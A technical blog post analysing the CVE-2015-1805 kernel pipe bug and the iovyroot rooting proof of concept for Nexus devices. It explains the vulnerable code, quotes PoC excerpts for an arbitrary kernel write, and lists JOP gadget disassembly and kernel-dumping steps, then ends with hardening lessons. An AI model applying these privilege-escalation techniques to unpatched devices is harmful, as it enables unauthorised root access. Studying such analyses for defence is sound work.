Kernel Pipe IOV CVE (CVE-2015-1805) Exploit Analysis

Published:

CVE brief

CVE-2015-1805 has been reported in 2015. It only effects kernel version below 3.18. This is known issue in upstream linux kernel that was fixed in April 2014, but people underestimated the severity of this CVE, was not called out as a security fix. Google noticed this CVE is used to root Nexus device and released a Security Advisory in March 18, 2016.

The vulnerability lays in pipe_read and pipe_write.

pipe_read(struct kiocb *iocb, const struct iovec *_iov,
           unsigned long nr_segs, loff_t pos)
{
    ...
    atomic = !iov_fault_in_pages_write(iov, chars);
redo:
    addr = ops->map(pipe, buf, atomic);
    error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
    ops->unmap(pipe, buf, addr);
    if (unlikely(error)) {
        if (atomic) {
                atomic = 0;
                goto redo;
        }
        ...
    }
    ...
    total_len -= chars;
    ...
}
 
pipe_iov_copy_to_user(struct iovec *iov, const void *from, unsigned long len,
                      int atomic)
{
    unsigned long copy;
 
    while (len > 0) {
        while (!iov->iov_len)
                iov++;
        copy = min_t(unsigned long, len, iov->iov_len);
 
        if (atomic) {
            if (__copy_to_user_inatomic(iov->iov_base, from, copy))
                return -EFAULT;
        } else {
            if (copy_to_user(iov->iov_base, from, copy))
                return -EFAULT;
        }
        from += copy;
        len -= copy;
        iov->iov_base += copy;
        iov->iov_len -= copy;
    }
    return 0;
}

pipe_iov_copy_to_user uses a while loop to do the copy, in every loop, it will update iov->iov_base and iov->iov_len, but when error happens, the execution flow in pipe read will go to redo, but iov->iov_base and iov->iov_len were already updated while the outside total_len is not. So there is a memory overrun bug.

This bug is danger because it allows the user to reach __copy_to_user_inatomic, which has no access_ok check, can lead to arbitrary kernel memory write.

How to exploit - PoC analysis

Details about the to exploit is in 影响所有Nexus手机的漏洞,浅析CVE-2015-1805. Today we gonna walk through a PoC called iovyroot (github link), which can temporary root Nexus 5X. It is a good case study.

Achieve arbitrary kernel Memory Write

The arbitrary kernel memory write function is write_at_address.

static int write_at_address(void* target, unsigned long targetval)
{
    ...
    printf("    [+] Patching address %p\n", target);
    if(startmapunmap())
        return 1;
    if(startwritepipe(targetval))
        return 1;
    if(heapspray(target))
        return 1;
    ...
}
  1. startwritepipe will write the target_val into pipe buffer, which will be served as from in pipe_iov_copy_to_user(struct iovec *iov, const void *from, unsigned long len, int atomic).
  2. heapspray will place target_addr into a special craft iovs, serve as the iov->iov_base in (__copy_to_user_inatomic(iov->iov_base, from, copy)). __copy_to_user_inatomic does NOT check access_ok, which will achieve arbitrary kernel memory write.

Leak stack pointer by JOP chain

The JOP first jump address is in offset.c.

// in getroot
if(write_at_address(o->check_flags, (long)o->joploc)) //Step 1
    return 1;

sidtab = o->sidtab;
policydb = o->policydb;
preparejop(MMAP_START, o->jopret);
if((dev = open("/dev/ptmx", O_RDWR)) < 0)
    return 1;

fp = (unsigned)fcntl(dev, F_SETFL, MMAP_START); //Step 2
fp += KERNEL_START;
ti = get_thread_info(fp);
// in getroot end

void preparejop(void** addr, void* jopret)
{
    unsigned int i;
    for(i = 0; i < (0x1000 / sizeof(int)); i++)
        ((int*)addr)[i] = 0xDEAD;
    ...
    addr[4] = jopret; //This line 4*8 = 32 //store second gadget addr
}

// First gadget 
ffffffc0003ee4f0: f9401001  ldr x1, [x0,#32] //load 2nd gadget
ffffffc0003ee4f4: 910143a0  add x0, x29, #0x50 //leak stack pointer
ffffffc0003ee4f8: d63f0020  blr x1 //jump to 2nd gadget

// Second gadget
ffffffc0003055ac: 93407c13  sxtw x19, w0
ffffffc0003055b0: 350012f3  cbnz w19, ffffffc00030580c
ffffffc0003055b4: 17fffff6  b ffffffc00030558c
ffffffc0003055b8: f9401680  ldr x0, [x20,#40]
ffffffc0003055bc: b5000220  cbnz x0, ffffffc000305600 
ffffffc0003055c0: 9100c293  add x19, x20, #0x30
ffffffc0003055c4: aa1303e0  mov x0, x19
  1. iovyroot uses arbitrary kernel memory write the first JOP gadget address 0xffffffc0003ee4f0 into check_flags function in getroot.

  2. The following fcntl call will invoke fcntl syscall. fcntl syscall will call do_fcntl(), the call sequence is: Sys_fcntl –> do_fcntl –> setfl –> check_flags(arg) MMAP_START will be first argument to check_flags and its value is stored in register x0.

  3. preparejop stores the second gadget address into MMAP_START + 32. The store value will be loaded by the first gadget into x1, and then jump to the second gadget blr x1.

  4. First gadget moves stack pointer to x0, second gadget will return it to user space. In this way, the stack pointer is leaked to user space.

The second gadget assembly is hard to understand, its c code snippet is

(gdb) list *(0xffffffc0003055ac)
0x3055ac is in SyS_fcntl (fs/fcntl.c:60).
55        !filp->f_mapping->a_ops->direct_IO)
56        return -EINVAL;
57    }
58 
59    if (filp->f_op && filp->f_op->check_flags)
60        error = filp->f_op->check_flags(arg);
61    if (error)
62        return error;

It points the line 60, where the return value error will be stack pointer, which will trigger the return. After these two JOP gadgets, the stack pointer value will be leaked to user space.

Root

With stack pointer and the arbitrary kernel memory write, the root is easy, which is in modify_task_cred_uc

Reverse engineering techniques

Objdump kernel in boot.img

  1. Download the Nexus release binary
  2. Use enck’s split kernel perl script to split kernel from boot.img
  3. The kernel is gziped, so need to decompress Find the compress start: od -A d -t x1 vmlinuz | grep ‘1f 8b 08 00’
    Decompress: dd if=vmlinuz bs=1 skip=ADDR | zcat > vmlinux
  4. Dump kernel, use -D not -d: arm64-objdump -b binary -m aarch64 --adjust-vma=0xffffffc000080000 -D boot.img-kernel

Find source code loation of JOP gadget

  • vim multiple line matching: .*word.*\n.*word.*\n
  • gdb: list *(addr)

Lesson learnt

  1. When releasing security-sensitive binary, should strip the binary and objcopy to data Same with striping vmlinux to get Image, link;

  2. Before compiling, should replace all strings in log message with encrypted strings or error code, this can prevent the attacker from probing the protections.

  3. Security features aim to protect the system even with vulnerabilities, so should be hard to bypass. For example, never use a variable to switch on/off a security feature, such as
    if (selinux_enforcing) {
     selinux_check();
    }
    

    With arbitrary kernel memory write, the attacker can easily write selinux_enforcing to zero to bypass selinux_check.

  4. Invalidate/malicious data should never be used.
    #define MAX 512
    int security_check(int __user index){
     unsigned long data[MAX];
     ......
     if (index >= MAX){
         printk(ERR "Wrong index %d %lx\n", index, data[index]);
     }
    }
    

    Here index should not be used again in the printk. Attacker may exploit printk to leak kernel data.

  5. Use as less global variables as possible.
unsigned long log_addr = 0; //global variable
static int __init log_setup()
{
    ......
    log_addr = xxx;
    ......
}

ssize_t kernel_log_read(struct file *filep, char __user *buf, size_t size, loff_t *offset)
{
    ......
    if (copy_to_user(buf, (const char *)log_addr + (*offset), size)) {
        printk(KERN_ERR"Copy to user failed\n");
        return -1;
    }
    ......
}

With arbitrary kernel memory write, the attacker can easily change log_addr value to achieve arbitrary kernel memory read.

References

  1. 影响所有Nexus手机的漏洞,浅析CVE-2015-1805
  2. iovyroot github
  3. How do I uncompress vmlinuz to vmlinux?
  4. Bypassing Samsung Knox